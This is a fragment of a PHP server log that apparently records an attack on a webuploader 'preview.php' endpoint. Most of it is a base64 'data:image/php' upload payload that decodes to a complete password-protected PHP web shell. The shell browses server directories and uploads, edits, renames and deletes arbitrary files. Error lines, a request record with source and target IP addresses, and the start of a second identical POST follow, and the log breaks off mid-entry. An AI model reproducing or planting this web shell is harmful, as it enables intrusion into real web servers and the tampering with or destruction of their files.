'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:08:41+08:00 ] 119.42.146.234 POST 59.110.137.245/static/admin/js/plugins/webuploader/0.1.15/server/preview.php [运行时间:0.004163s] [吞吐率:240.21req/s] [内存消耗:196.88kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 